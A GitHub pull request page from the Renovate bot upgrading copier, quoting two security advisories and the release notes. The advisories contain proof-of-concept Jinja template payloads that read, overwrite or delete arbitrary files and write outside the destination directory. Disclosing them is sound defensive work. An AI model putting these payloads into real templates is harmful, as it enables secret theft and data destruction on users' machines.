Skip to content

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Aug 18, 2025

This PR contains the following updates:

Package Change Age Confidence
copier ==9.2.0==9.9.1 age confidence

GitHub Vulnerability Alerts

CVE-2025-55201

Impact

Copier's current security model shall restrict filesystem access through Jinja:

  • Files can only be read using {% include ... %}, which is limited by Jinja to reading files from the subtree of the local template clone in our case.
  • Files are written in the destination directory according to their counterparts in the template.

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few pathlib.Path objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless.

Arbitrary read access

Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps "masks" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.

Reproducible example:

  • Read known file:

    echo "s3cr3t" > secret.txt
    mkdir src/
    echo "stolen secret: {{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().read_text('utf-8') }}" > src/stolen-secret.txt.jinja
    uvx copier copy src/ dst/
    cat dst/stolen-secret.txt
  • Read unknown file(s) via globbing:

    mkdir secrets/
    echo "s3cr3t #​1" > secrets/secret1.txt
    echo "s3cr3t #​2" > secrets/secret2.txt
    mkdir src/
    cat <<'EOF' > src/stolen-secrets.txt.jinja
    stolen secrets:
    {% set parent = (_copier_conf.dst_path / '..' / 'secrets').resolve() %}
    {% for f in parent.glob('*.txt') %}
    {{ f }}: {{ f.read_text('utf-8') }}
    {% endfor %}
    EOF
    uvx copier copy src/ dst/
    cat dst/stolen-secrets.txt

Arbitrary write access

Imagine, e.g., a malicious template author who creates a template that overwrites or even deletes files to cause havoc.

Reproducible examples:

  • Overwrite known file:

    echo "s3cr3t" > secret.txt
    mkdir src/
    echo "{{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().write_text('OVERWRITTEN', 'utf-8') }}" > src/malicious.txt.jinja
    uvx copier copy src/ dst/
    cat secret.txt
  • Overwrite unknown file(s) via globbing:

    echo "s3cr3t" > secret.txt
    mkdir src/
    cat <<'EOF' > src/malicious.txt.jinja
    {% set parent = (_copier_conf.dst_path / '..').resolve() %}
    {% for f in (parent.glob('*.txt') | list) %}
    {{ f.write_text('OVERWRITTEN', 'utf-8') }}
    {% endfor %}
    EOF
    uvx copier copy src/ dst/
    cat secret.txt
  • Delete unknown file(s) via globbing:

    echo "s3cr3t" > secret.txt
    mkdir src/
    cat <<'EOF' > src/malicious.txt.jinja
    {% set parent = (_copier_conf.dst_path / '..').resolve() %}
    {% for f in (parent.glob('*.txt') | list) %}
    {{ f.unlink() }}
    {% endfor %}
    EOF
    uvx copier copy src/ dst/
    cat secret.txt
  • Delete unknown files and directories via tree walking:

    mkdir data
    mkdir data/a
    mkdir data/a/b
    echo "foo" > data/foo.txt
    echo "bar" > data/a/bar.txt
    echo "baz" > data/a/b/baz.txt
    tree data/
    mkdir src/
    cat <<'EOF' > src/malicious.txt.jinja
    {% set parent = (_copier_conf.dst_path / '..' / 'data').resolve() %}
    {% for root, dirs, files in parent.walk(top_down=False) %}
    {% for name in files %}
    {{ (root / name).unlink() }}
    {% endfor %}
    {% for name in dirs %}
    {{ (root / name).rmdir() }}
    {% endfor %}
    {% endfor %}
    EOF
    uvx copier copy src/ dst/
    tree data/

CVE-2025-55214

Impact

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently write files outside the destination path where a project shall be generated or updated. This is possible when rendering a generated directory structure whose rendered path is either a relative parent path or an absolute path. Constructing such paths is possible using Copier's builtin pathjoin Jinja filter and its builtin _copier_conf.sep variable, which is the platform-native path separator. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.

Write access via generated relative path

Reproducible example:

echo "foo" > forbidden.txt
mkdir src/
echo "bar" > "src/{{ pathjoin('..', 'forbidden.txt') }}"
uvx copier copy src/ dst/
cat forbidden.txt

Write access via generated absolute path

Reproducible example:

  • POSIX:

    # Assumption: The current working directory is `/tmp/test-copier-vulnerability/`
    echo "foo" > forbidden.txt
    mkdir src/
    echo "bar" > "src/{{ pathjoin(_copier_conf.sep, 'tmp', 'test-copier-vulnerability', 'forbidden.txt') }}"
    uvx --from copier python -O -m copier copy --overwrite src/ dst/
    cat forbidden.txt
  • Windows (PowerShell):

    # Assumption: The current working directory is `C:\Users\<user>\Temp\test-copier-vulnerability`
    echo "foo" > forbidden.txt
    mkdir src
    Set-Content -Path src\copier.yml @&#8203;'
    drive:
      type: str
      default: "C:"
      when: false
    '@&#8203;
    echo "bar" > "src\{{ pathjoin(drive, 'Users', '<user>', 'Temp', 'test-copier-vulnerability', 'forbidden.txt') }}"
    uvx --from copier python -O -m copier copy --overwrite src dst
    cat forbidden.txt

This scenario is slightly less severe, as Copier has a few assertions of the destination path being relative which would typically be raised. But python -O (or PYTHONOPTIMIZE=x) removes asserts, so these guards may be ineffective. In addition, this scenario will prompt for overwrite confirmation or require the --overwrite flag for non-interactive mode; yet malicious file writes might go unnoticed.


Release Notes

copier-org/copier (copier)

v9.9.1

Compare Source

Security
  • disallow render paths outside destination directory
  • cast Jinja context path variables to pathlib.PurePath

v9.9.0

Compare Source

Feat
  • add support for prompting filesystem paths (#​2210)
Fix
  • updating: disable secret question validator when replaying old copy
  • vcs: fix cloning local dirty template repo when core.fsmonitor=true (#​2151)

v9.8.0

Compare Source

Feat
  • add support for providing serialized answers to multiselect choice questions
  • updating: add VCS ref sentinel :current: for referring to the current template
    ref
Fix
  • avoid infinite recursion when accessing _copier_conf.answers_file via Jinja
    context hook
  • validate default answers
  • correct git stage order on merge conflicts

v9.7.1

Compare Source

Refactor
  • import from module _tools instead of tools

v9.7.0

Compare Source

Feat
  • raise new TaskError exception on task errors
  • raise InteractiveSessionError when prompting in non-interactive environment
Fix
  • settings: use <CONFIG_ROOT>/copier as settings directory on Windows (#​2071)
  • updating: ignore last answer of when: false questions
  • restore access to full rendering context in prompt phase
Refactor
  • re-expose API with deprecation warnings on non-public API imports
  • rename internal modules with a _ prefix

v9.6.0

Compare Source

Feat
  • Add _copier_operation variable (#​1733)
  • context: expose a _copier_phase context variable
Fix
  • explicitly specify file encoding for windows (#​2007)
  • auto-detect encoding when reading external data file
  • settings: auto-detect encoding when reading settings file
  • cli: auto-detect encoding when reading unicode-encoded file specified with
    --data-file
  • expose only answers in question rendering context
  • ignore $file if $file.tmpl exists when subdirectory is used
  • decode external data file content explicitly as UTF-8
  • decode answers file content explicitly as UTF-8
Refactor
  • use common answers file loader

v9.5.0

Compare Source

Feat
  • external_data: load data from other YAML files
  • settings: allow to define some trusted repositories or prefixes
  • settings: add user settings support with defaults values (fix #​235)
  • add dynamic file structures in loop using yield-tag (#​1855)
  • add support for dynamic choices
Fix
  • correctly record missing stages in index for merge conflicts (#​1907)
  • allow importing from a file that has a conditional name
  • updating: don't crash when file is removed from template's .gitignore file
    (#​1886)
  • deps: update dependency packaging to v24.2
  • re-render answers file path when producing render context
  • restore compatibility with Git prior to v2.31 (#​1838)
  • updating: don't validate computed values
  • Don't mark files without conflict markers as unmerged (#​1813)

v9.4.1

Compare Source

Fix
  • restore support for preserve_symlinks: false for directories (#​1820)

v9.4.0

Compare Source

Fix
  • exclude: support negative exclude matching child of excluded parent
  • parse new answer when --skip-answered is used
  • validate answers to secret questions
  • updating: do not recreate deleted paths on update (#​1719)
  • support Git config without user identity
Refactor
  • set default value for keep_trailing_newline more idiomatically
  • drop support for Python 3.8
Perf
  • updating: avoid creating subproject copy

v9.3.1

Compare Source

Fix
  • pass --skip-tasks flag to worker (#​1688)

v9.3.0

Compare Source

Feat
  • add simpler migrations configuration syntax (#​1510)
Fix
  • tasks: do not consider unsafe if they are being skipped
  • add context information to answer validation error message (#​1609)
  • do not overwrite identical files (#​1576)
  • updating: unset invalid last answers
  • render default list items for multi-select choice questions
  • updating: yield merge conflict when both template and project add same file

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot force-pushed the renovate/pypi-copier-vulnerability branch 2 times, most recently from 382abb0 to 2df019a Compare August 31, 2025 11:06
@renovate renovate bot force-pushed the renovate/pypi-copier-vulnerability branch from 2df019a to d1d8c31 Compare October 21, 2025 09:55
@renovate renovate bot force-pushed the renovate/pypi-copier-vulnerability branch from d1d8c31 to 53176a5 Compare November 10, 2025 14:52
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant